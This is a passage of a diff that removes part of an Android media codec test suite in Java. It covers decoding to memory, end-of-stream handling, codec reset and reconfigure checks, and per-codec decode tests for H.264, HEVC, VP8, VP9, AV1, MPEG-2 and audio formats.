-        }
-        Log.v(localTag, "configuring with " + configFormat);
-        codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
-
-        codec.start();
-        codecInputBuffers = codec.getInputBuffers();
-        codecOutputBuffers = codec.getOutputBuffers();
-
-        if (resetMode == RESET_MODE_RECONFIGURE) {
-            codec.stop();
-            codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
-            codec.start();
-            codecInputBuffers = codec.getInputBuffers();
-            codecOutputBuffers = codec.getOutputBuffers();
-        } else if (resetMode == RESET_MODE_FLUSH) {
-            codec.flush();
-        }
-
-        extractor.selectTrack(0);
-
-        if (configMode == CONFIG_MODE_QUEUE) {
-            queueConfig(codec, format);
-        }
-
-        // start decoding
-        final long kTimeOutUs = 5000;
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        boolean sawInputEOS = false;
-        boolean sawOutputEOS = false;
-        int noOutputCounter = 0;
-        int samplecounter = 0;
-        while (!sawOutputEOS && noOutputCounter < 50) {
-            noOutputCounter++;
-            if (!sawInputEOS) {
-                int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
-
-                if (inputBufIndex >= 0) {
-                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
-
-                    int sampleSize =
-                        extractor.readSampleData(dstBuf, 0 /* offset */);
-
-                    long presentationTimeUs = 0;
-
-                    if (sampleSize < 0 && eossample > 0) {
-                        fail("test is broken: never reached eos sample");
-                    }
-                    if (sampleSize < 0) {
-                        Log.d(TAG, "saw input EOS.");
-                        sawInputEOS = true;
-                        sampleSize = 0;
-                    } else {
-                        if (samplecounter == eossample) {
-                            sawInputEOS = true;
-                        }
-                        samplecounter++;
-                        presentationTimeUs = extractor.getSampleTime();
-                    }
-                    codec.queueInputBuffer(
-                            inputBufIndex,
-                            0 /* offset */,
-                            sampleSize,
-                            presentationTimeUs,
-                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-
-                    if (!sawInputEOS) {
-                        extractor.advance();
-                    }
-                }
-            }
-
-            int res = codec.dequeueOutputBuffer(info, kTimeOutUs);
-
-            if (res >= 0) {
-                //Log.d(TAG, "got frame, size " + info.size + "/" + info.presentationTimeUs);
-
-                if (info.size > 0) {
-                    noOutputCounter = 0;
-                    if (timestamps != null) {
-                        timestamps.add(info.presentationTimeUs);
-                    }
-                }
-                if (info.size > 0 &&
-                        resetMode != RESET_MODE_NONE && resetMode != RESET_MODE_EOS_FLUSH) {
-                    // once we've gotten some data out of the decoder, reset and start again
-                    if (resetMode == RESET_MODE_RECONFIGURE) {
-                        codec.stop();
-                        codec.configure(configFormat, null /* surface */, null /* crypto */,
-                                0 /* flags */);
-                        codec.start();
-                        codecInputBuffers = codec.getInputBuffers();
-                        codecOutputBuffers = codec.getOutputBuffers();
-                        if (configMode == CONFIG_MODE_QUEUE) {
-                            queueConfig(codec, format);
-                        }
-                    } else /* resetMode == RESET_MODE_FLUSH */ {
-                        codec.flush();
-                    }
-                    resetMode = RESET_MODE_NONE;
-                    extractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                    sawInputEOS = false;
-                    samplecounter = 0;
-                    if (timestamps != null) {
-                        timestamps.clear();
-                    }
-                    continue;
-                }
-
-                int outputBufIndex = res;
-                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
-
-                if (decodedIdx + (info.size / 2) >= decoded.length) {
-                    decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
-                }
-
-                buf.position(info.offset);
-                for (int i = 0; i < info.size; i += 2) {
-                    decoded[decodedIdx++] = buf.getShort();
-                }
-
-                codec.releaseOutputBuffer(outputBufIndex, false /* render */);
-
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "saw output EOS.");
-                    if (resetMode == RESET_MODE_EOS_FLUSH) {
-                        resetMode = RESET_MODE_NONE;
-                        codec.flush();
-                        extractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                        sawInputEOS = false;
-                        samplecounter = 0;
-                        decoded = new short[0];
-                        decodedIdx = 0;
-                        if (timestamps != null) {
-                            timestamps.clear();
-                        }
-                    } else {
-                        sawOutputEOS = true;
-                    }
-                }
-            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                codecOutputBuffers = codec.getOutputBuffers();
-
-                Log.d(TAG, "output buffers have changed.");
-            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                MediaFormat oformat = codec.getOutputFormat();
-                audioParams.setNumChannels(oformat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
-                audioParams.setSamplingRate(oformat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
-                Log.d(TAG, "output format has changed to " + oformat);
-            } else {
-                Log.d(TAG, "dequeueOutputBuffer returned " + res);
-            }
-        }
-        if (noOutputCounter >= 50) {
-            fail("decoder stopped outputing data");
-        }
-
-        codec.stop();
-        codec.release();
-        return decoded;
-    }
-
-    private static void queueConfig(MediaCodec codec, MediaFormat format) {
-        for (String csdKey : CSD_KEYS) {
-            if (!format.containsKey(csdKey)) {
-                continue;
-            }
-            ByteBuffer[] codecInputBuffers = codec.getInputBuffers();
-            int inputBufIndex = codec.dequeueInputBuffer(-1);
-            if (inputBufIndex < 0) {
-                fail("failed to queue configuration buffer " + csdKey);
-            } else {
-                ByteBuffer csd = (ByteBuffer) format.getByteBuffer(csdKey).rewind();
-                Log.v(TAG + "#queueConfig", String.format("queueing %s:%s", csdKey, csd));
-                codecInputBuffers[inputBufIndex].put(csd);
-                codec.queueInputBuffer(
-                        inputBufIndex,
-                        0 /* offset */,
-                        csd.limit(),
-                        0 /* presentation time (us) */,
-                        MediaCodec.BUFFER_FLAG_CODEC_CONFIG);
-            }
-        }
-    }
-
-    public void testDecodeWithEOSOnLastBuffer() throws Exception {
-        testDecodeWithEOSOnLastBuffer("sinesweepm4a.m4a");
-        testDecodeWithEOSOnLastBuffer("sinesweepmp3lame.mp3");
-        testDecodeWithEOSOnLastBuffer("sinesweepmp3smpb.mp3");
-        testDecodeWithEOSOnLastBuffer("sinesweepopus.mkv");
-        testDecodeWithEOSOnLastBuffer("sinesweepopusmp4.mp4");
-        testDecodeWithEOSOnLastBuffer("sinesweepwav.wav");
-        testDecodeWithEOSOnLastBuffer("sinesweepflacmkv.mkv");
-        testDecodeWithEOSOnLastBuffer("sinesweepflac.flac");
-        testDecodeWithEOSOnLastBuffer("sinesweepflacmp4.mp4");
-        testDecodeWithEOSOnLastBuffer("sinesweepogg.ogg");
-        testDecodeWithEOSOnLastBuffer("sinesweepoggmkv.mkv");
-        testDecodeWithEOSOnLastBuffer("sinesweepoggmp4.mp4");
-    }
-
-    /* setting EOS on the last full input buffer should be equivalent to setting EOS on an empty
-     * input buffer after all the full ones. */
-    private void testDecodeWithEOSOnLastBuffer(final String res) throws Exception {
-        int numsamples = countSamples(res);
-        assertTrue(numsamples != 0);
-
-        for (String codecName: codecsFor(res)) {
-            List<Long> timestamps1 = new ArrayList<Long>();
-            short[] decode1 = decodeToMemory(codecName, res,
-                    RESET_MODE_NONE, CONFIG_MODE_NONE, -1, timestamps1);
-
-            List<Long> timestamps2 = new ArrayList<Long>();
-            short[] decode2 = decodeToMemory(codecName, res,
-                    RESET_MODE_NONE, CONFIG_MODE_NONE, numsamples - 1,
-                    timestamps2);
-
-            // check that data and timestamps are the same for EOS-on-last and EOS-after-last
-            assertEquals(decode1.length, decode2.length);
-            assertTrue(Arrays.equals(decode1, decode2));
-            assertEquals(timestamps1.size(), timestamps2.size());
-            assertTrue(timestamps1.equals(timestamps2));
-
-            // ... and that this is also true when reconfiguring the codec
-            timestamps2.clear();
-            decode2 = decodeToMemory(codecName, res,
-                    RESET_MODE_RECONFIGURE, CONFIG_MODE_NONE, -1, timestamps2);
-            assertTrue(Arrays.equals(decode1, decode2));
-            assertTrue(timestamps1.equals(timestamps2));
-            timestamps2.clear();
-            decode2 = decodeToMemory(codecName, res,
-                    RESET_MODE_RECONFIGURE, CONFIG_MODE_NONE, numsamples - 1, timestamps2);
-            assertEquals(decode1.length, decode2.length);
-            assertTrue(Arrays.equals(decode1, decode2));
-            assertTrue(timestamps1.equals(timestamps2));
-
-            // ... and that this is also true when flushing the codec
-            timestamps2.clear();
-            decode2 = decodeToMemory(codecName, res,
-                    RESET_MODE_FLUSH, CONFIG_MODE_NONE, -1, timestamps2);
-            assertTrue(Arrays.equals(decode1, decode2));
-            assertTrue(timestamps1.equals(timestamps2));
-            timestamps2.clear();
-            decode2 = decodeToMemory(codecName, res,
-                    RESET_MODE_FLUSH, CONFIG_MODE_NONE, numsamples - 1,
-                    timestamps2);
-            assertEquals(decode1.length, decode2.length);
-            assertTrue(Arrays.equals(decode1, decode2));
-            assertTrue(timestamps1.equals(timestamps2));
-        }
-    }
-
-    private int countSamples(final String res) throws IOException {
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(mInpPrefix + res);
-        extractor.selectTrack(0);
-        int numsamples = extractor.getSampleTime() < 0 ? 0 : 1;
-        while (extractor.advance()) {
-            numsamples++;
-        }
-        return numsamples;
-    }
-
-    private void testDecode(final String testVideo, int frameNum) throws Exception {
-        if (!MediaUtils.checkCodecForResource(mInpPrefix + testVideo, 0 /* track */)) {
-            return; // skip
-        }
-
-        // Decode to Surface.
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        int frames1 = countFrames(testVideo, RESET_MODE_NONE, -1 /* eosframe */, s);
-        assertEquals("wrong number of frames decoded", frameNum, frames1);
-
-        // Decode to buffer.
-        int frames2 = countFrames(testVideo, RESET_MODE_NONE, -1 /* eosframe */, null);
-        assertEquals("different number of frames when using Surface", frames1, frames2);
-    }
-
-    public void testCodecBasicH264() throws Exception {
-        testDecode("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 240);
-    }
-
-    public void testCodecBasicHEVC() throws Exception {
-        testDecode(
-                "bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4", 300);
-    }
-
-    public void testCodecBasicH263() throws Exception {
-        testDecode("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp", 122);
-    }
-
-    public void testCodecBasicMpeg2() throws Exception {
-        testDecode("video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 300);
-    }
-
-    public void testCodecBasicMpeg4() throws Exception {
-        testDecode("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 249);
-    }
-
-    public void testCodecBasicVP8() throws Exception {
-        testDecode("video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm", 240);
-    }
-
-    public void testCodecBasicVP9() throws Exception {
-        testDecode("video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm", 240);
-    }
-
-    public void testCodecBasicAV1() throws Exception {
-        testDecode("video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm", 300);
-    }
-
-    public void testH264Decode320x240() throws Exception {
-        testDecode("bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz.mp4", 300);
-    }
-
-    public void testH264Decode720x480() throws Exception {
-        testDecode("bbb_s1_720x480_mp4_h264_mp3_2mbps_30fps_aac_lc_5ch_320kbps_48000hz.mp4", 300);
-    }
-
-    public void testH264Decode30fps1280x720Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 30,
-                    AVCProfileHigh, AVCLevel31, 8000000));
-        }
-    }
-
-    public void testH264SecureDecode30fps1280x720Tv() throws Exception {
-        if (checkTv()) {
-            verifySecureVideoDecodeSupport(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 30,
-                    AVCProfileHigh, AVCLevel31, 8000000);
-        }
-    }
-
-    public void testH264Decode30fps1280x720() throws Exception {
-        testDecode("bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz.mp4", 300);
-    }
-
-    public void testH264Decode60fps1280x720Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 60,
-                    AVCProfileHigh, AVCLevel32, 8000000));
-            testDecode(
-                    "bbb_s3_1280x720_mp4_h264_hp32_8mbps_60fps_aac_he_v2_stereo_48kbps_48000hz.mp4",
-                    600);
-        }
-    }
-
-    public void testH264SecureDecode60fps1280x720Tv() throws Exception {
-        if (checkTv()) {
-            verifySecureVideoDecodeSupport(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 60,
-                    AVCProfileHigh, AVCLevel32, 8000000);
-        }
-    }
-
-    public void testH264Decode60fps1280x720() throws Exception {
-        testDecode("bbb_s3_1280x720_mp4_h264_mp32_8mbps_60fps_aac_he_v2_6ch_144kbps_44100hz.mp4",
-                600);
-    }
-
-    public void testH264Decode30fps1920x1080Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080, 30,
-                    AVCProfileHigh, AVCLevel4, 20000000));
-            testDecode(
-                    "bbb_s4_1920x1080_wide_mp4_h264_hp4_20mbps_30fps_aac_lc_6ch_384kbps_44100hz.mp4",
-                    150);
-        }
-    }
-
-    public void testH264SecureDecode30fps1920x1080Tv() throws Exception {
-        if (checkTv()) {
-            verifySecureVideoDecodeSupport(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080, 30,
-                    AVCProfileHigh, AVCLevel4, 20000000);
-        }
-    }
-
-    public void testH264Decode30fps1920x1080() throws Exception {
-        testDecode("bbb_s4_1920x1080_wide_mp4_h264_mp4_20mbps_30fps_aac_he_5ch_200kbps_44100hz.mp4",
-                150);
-    }
-
-    public void testH264Decode60fps1920x1080Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080, 60,
-                    AVCProfileHigh, AVCLevel42, 20000000));
-            testDecode("bbb_s2_1920x1080_mp4_h264_hp42_20mbps_60fps_aac_lc_6ch_384kbps_48000hz.mp4",
-                    300);
-        }
-    }
-
-    public void testH264SecureDecode60fps1920x1080Tv() throws Exception {
-        if (checkTv()) {
-            verifySecureVideoDecodeSupport(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080, 60,
-                    AVCProfileHigh, AVCLevel42, 20000000);
-        }
-    }
-
-    public void testH264Decode60fps1920x1080() throws Exception {
-        testDecode("bbb_s2_1920x1080_mp4_h264_mp42_20mbps_60fps_aac_he_v2_5ch_160kbps_48000hz.mp4",
-                300);
-        testDecode("bbb_s2_1920x1080_mkv_h264_mp42_20mbps_60fps_aac_he_v2_5ch_160kbps_48000hz.mkv",
-                300);
-    }
-
-    public void testH265Decode25fps1280x720() throws Exception {
-        testDecode("video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv", 240);
-    }
-
-    public void testVP8Decode320x180() throws Exception {
-        testDecode("bbb_s1_320x180_webm_vp8_800kbps_30fps_opus_5ch_320kbps_48000hz.webm", 300);
-    }
-
-    public void testVP8Decode640x360() throws Exception {
-        testDecode("bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm", 300);
-    }
-
-    public void testVP8Decode30fps1280x720Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1280, 720, 30));
-        }
-    }
-
-    public void testVP8Decode30fps1280x720() throws Exception {
-        testDecode("bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz.webm", 300);
-    }
-
-    public void testVP8Decode60fps1280x720Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1280, 720, 60));
-        }
-    }
-
-    public void testVP8Decode60fps1280x720() throws Exception {
-        testDecode("bbb_s3_1280x720_webm_vp8_8mbps_60fps_opus_6ch_384kbps_48000hz.webm", 600);
-    }
-
-    public void testVP8Decode30fps1920x1080Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1920, 1080, 30));
-        }
-    }
-
-    public void testVP8Decode30fps1920x1080() throws Exception {
-        testDecode("bbb_s4_1920x1080_wide_webm_vp8_20mbps_30fps_vorbis_6ch_384kbps_44100hz.webm",
-                150);
-    }
-
-    public void testVP8Decode60fps1920x1080Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1920, 1080, 60));
-        }
-    }
-
-    public void testVP8Decode60fps1920x1080() throws Exception {
-        testDecode("bbb_s2_1920x1080_webm_vp8_20mbps_60fps_vorbis_6ch_384kbps_48000hz.webm", 300);
-    }
-
-    public void testVP9Decode320x180() throws Exception {
-        testDecode("bbb_s1_320x180_webm_vp9_0p11_600kbps_30fps_vorbis_mono_64kbps_48000hz.webm",
-                300);
-    }
-
-    public void testVP9Decode640x360() throws Exception {
-        testDecode("bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                300);
-    }
-
-    public void testVP9Decode30fps1280x720Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP9, 1280, 720, 30));
-        }
-    }
-
-    public void testVP9Decode30fps1280x720() throws Exception {
-        testDecode("bbb_s4_1280x720_webm_vp9_0p31_4mbps_30fps_opus_stereo_128kbps_48000hz.webm",
-                300);
-    }
-
-    public void testVP9Decode60fps1920x1080() throws Exception {
-        testDecode("bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz.webm",
-                300);
-    }
-
-    public void testVP9Decode30fps3840x2160() throws Exception {
-        testDecode("bbb_s4_3840x2160_webm_vp9_0p5_20mbps_30fps_vorbis_6ch_384kbps_24000hz.webm",
-                150);
-    }
-
-    public void testVP9Decode60fps3840x2160() throws Exception {
-        testDecode("bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz.webm",
-                300);
-    }
-
-    public void testAV1Decode320x180() throws Exception {
-        testDecode("video_320x180_webm_av1_200kbps_30fps_vorbis_stereo_128kbps_48000hz.webm", 300);
-    }
-
-    public void testAV1Decode640x360() throws Exception {
-        testDecode("video_640x360_webm_av1_470kbps_30fps_vorbis_stereo_128kbps_48000hz.webm", 300);
-    }
-
-    public void testAV1Decode30fps1280x720() throws Exception {
-        testDecode("video_1280x720_webm_av1_2000kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                300);
-    }
-
-    public void testAV1Decode60fps1920x1080() throws Exception {
-        testDecode("video_1920x1080_webm_av1_7000kbps_60fps_vorbis_stereo_128kbps_48000hz.webm",
-                300);
-    }
-
-    public void testAV1Decode30fps3840x2160() throws Exception {
-        testDecode("video_3840x2160_webm_av1_11000kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                150);
-    }
-
-    public void testAV1Decode60fps3840x2160() throws Exception {
-        testDecode("video_3840x2160_webm_av1_18000kbps_60fps_vorbis_stereo_128kbps_48000hz.webm",
-                300);
-    }
-
-    public void testHEVCDecode352x288() throws Exception {
-        testDecode("bbb_s1_352x288_mp4_hevc_mp2_600kbps_30fps_aac_he_stereo_96kbps_48000hz.mp4",
-                300);
-    }
-
-    public void testHEVCDecode720x480() throws Exception {
-        testDecode("bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
-                300);
-    }
-
-    public void testHEVCDecode30fps1280x720Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(
-                    MediaFormat.MIMETYPE_VIDEO_HEVC, 1280, 720, 30,
-                    HEVCProfileMain, HEVCMainTierLevel31, 4000000));
-        }
-    }
-
-    public void testHEVCDecode30fps1280x720() throws Exception {
-        testDecode("bbb_s4_1280x720_mp4_hevc_mp31_4mbps_30fps_aac_he_stereo_80kbps_32000hz.mp4",
-                300);
-    }
-
-    public void testHEVCDecode30fps1920x1080Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(
-                    MediaFormat.MIMETYPE_VIDEO_HEVC, 1920, 1080, 30,
-                    HEVCProfileMain, HEVCMainTierLevel41, 5000000));
-        }
-    }
-
-    public void testHEVCDecode60fps1920x1080() throws Exception {
-        testDecode("bbb_s2_1920x1080_mp4_hevc_mp41_10mbps_60fps_aac_lc_6ch_384kbps_22050hz.mp4",
-                300);
-    }
-
-    public void testHEVCDecode30fps3840x2160() throws Exception {
-        testDecode("bbb_s4_3840x2160_mp4_hevc_mp5_20mbps_30fps_aac_lc_6ch_384kbps_24000hz.mp4",
-                150);
-    }
-
-    public void testHEVCDecode60fps3840x2160() throws Exception {
-        testDecode("bbb_s2_3840x2160_mp4_hevc_mp51_20mbps_60fps_aac_lc_6ch_384kbps_32000hz.mp4",
-                300);
-    }
-
-    public void testMpeg2Decode352x288() throws Exception {
-        testDecode("video_352x288_mp4_mpeg2_1000kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 300);
-    }
-
-    public void testMpeg2Decode720x480() throws Exception {
-        testDecode("video_720x480_mp4_mpeg2_2000kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 300);
-    }
-
-    public void testMpeg2Decode30fps1280x720Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_MPEG2, 1280, 720, 30));
-        }
-    }
-
-    public void testMpeg2Decode30fps1280x720() throws Exception {
-        testDecode("video_1280x720_mp4_mpeg2_6000kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 150);
-    }
-
-    public void testMpeg2Decode30fps1920x1080Tv() throws Exception {
-        if (checkTv()) {
-            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_MPEG2, 1920, 1080, 30));
-        }
-    }
-
-    public void testMpeg2Decode30fps1920x1080() throws Exception {
-        testDecode("video_1920x1080_mp4_mpeg2_12000kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 150);
-    }
-
-    public void testMpeg2Decode30fps3840x2160() throws Exception {
-        testDecode("video_3840x2160_mp4_mpeg2_20000kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 150);
-    }
-
-    private void testCodecEarlyEOS(final String res, int eosFrame) throws Exception {
-        if (!MediaUtils.checkCodecForResource(mInpPrefix + res, 0 /* track */)) {
-            return; // skip
-        }
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        int frames1 = countFrames(res, RESET_MODE_NONE, eosFrame, s);
-        assertEquals("wrong number of frames decoded", eosFrame, frames1);
-    }
-
-    public void testCodecEarlyEOSH263() throws Exception {
-        testCodecEarlyEOS("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.mp4",
-                64 /* eosframe */);
-    }
-
-    public void testCodecEarlyEOSH264() throws Exception {
-        testCodecEarlyEOS("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                120 /* eosframe */);
-    }
-
-    public void testCodecEarlyEOSHEVC() throws Exception {
-        testCodecEarlyEOS("video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
-                120 /* eosframe */);
-    }
-
-    public void testCodecEarlyEOSMpeg2() throws Exception {
-        testCodecEarlyEOS("vdeo_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
-                120 /* eosframe */);
-    }
-
-    public void testCodecEarlyEOSMpeg4() throws Exception {
-        testCodecEarlyEOS("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                120 /* eosframe */);
-    }
-
-    public void testCodecEarlyEOSVP8() throws Exception {
-        testCodecEarlyEOS("video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                120 /* eosframe */);
-    }
-
-    public void testCodecEarlyEOSVP9() throws Exception {
-        testCodecEarlyEOS(
-                "video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                120 /* eosframe */);
-    }
-
-    public void testCodecEarlyEOSAV1() throws Exception {
-        testCodecEarlyEOS("video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                120 /* eosframe */);
-    }
-
-    public void testCodecResetsH264WithoutSurface() throws Exception {
-        testCodecResets("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                null);
-    }
-
-    public void testCodecResetsH264WithSurface() throws Exception {
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        testCodecResets("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", s);
-    }
-
-    public void testCodecResetsHEVCWithoutSurface() throws Exception {
-        testCodecResets("bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
-                null);
-    }
-
-    public void testCodecResetsHEVCWithSurface() throws Exception {
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        testCodecResets("bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
-                s);
-    }
-
-    public void testCodecResetsMpeg2WithoutSurface() throws Exception {
-        testCodecResets("video_1280x720_mp4_mpeg2_6000kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
-                null);
-    }
-
-    public void testCodecResetsMpeg2WithSurface() throws Exception {
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        testCodecResets("video_176x144_mp4_mpeg2_105kbps_25fps_aac_stereo_128kbps_44100hz.mp4", s);
-    }
-
-    public void testCodecResetsH263WithoutSurface() throws Exception {
-        testCodecResets("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",null);
-    }
-
-    public void testCodecResetsH263WithSurface() throws Exception {
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        testCodecResets("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp", s);
-    }
-
-    public void testCodecResetsMpeg4WithoutSurface() throws Exception {
-        testCodecResets("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                null);
-    }
-
-    public void testCodecResetsMpeg4WithSurface() throws Exception {
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        testCodecResets("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4", s);
-    }
-
-    public void testCodecResetsVP8WithoutSurface() throws Exception {
-        testCodecResets("video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                null);
-    }
-
-    public void testCodecResetsVP8WithSurface() throws Exception {
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        testCodecResets("video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                s);
-    }
-
-    public void testCodecResetsVP9WithoutSurface() throws Exception {
-        testCodecResets("video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                null);
-    }
-
-    public void testCodecResetsAV1WithoutSurface() throws Exception {
-        testCodecResets("video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                null);
-    }
-
-    public void testCodecResetsVP9WithSurface() throws Exception {
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        testCodecResets("video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                s);
-    }
-
-    public void testCodecResetsAV1WithSurface() throws Exception {
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        testCodecResets("video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                s);
-    }
-
-//    public void testCodecResetsOgg() throws Exception {
-//        testCodecResets("sinesweepogg.ogg", null);
-//    }
-
-    public void testCodecResetsMp3() throws Exception {
-        testCodecReconfig("sinesweepmp3lame.mp3");
-        // NOTE: replacing testCodecReconfig call soon
-//        testCodecResets("sinesweepmp3lame.mp3, null);
-    }
-
-    public void testCodecResetsM4a() throws Exception {
-        testCodecReconfig("sinesweepm4a.m4a");
-        // NOTE: replacing testCodecReconfig call soon
-//        testCodecResets("sinesweepm4a.m4a", null);
-    }
-
-    private void testCodecReconfig(final String audio) throws Exception {
-        int size1 = countSize(audio, RESET_MODE_NONE, -1 /* eosframe */);
-        int size2 = countSize(audio, RESET_MODE_RECONFIGURE, -1 /* eosframe */);
-        assertEquals("different output size when using reconfigured codec", size1, size2);
-    }
-
-    private void testCodecResets(final String video, Surface s) throws Exception {
-        if (!MediaUtils.checkCodecForResource(mInpPrefix + video, 0 /* track */)) {
-            return; // skip
-        }
-
-        int frames1 = countFrames(video, RESET_MODE_NONE, -1 /* eosframe */, s);
-        int frames2 = countFrames(video, RESET_MODE_RECONFIGURE, -1 /* eosframe */, s);
-        int frames3 = countFrames(video, RESET_MODE_FLUSH, -1 /* eosframe */, s);
-        assertEquals("different number of frames when using reconfigured codec", frames1, frames2);
-        assertEquals("different number of frames when using flushed codec", frames1, frames3);
-    }
-
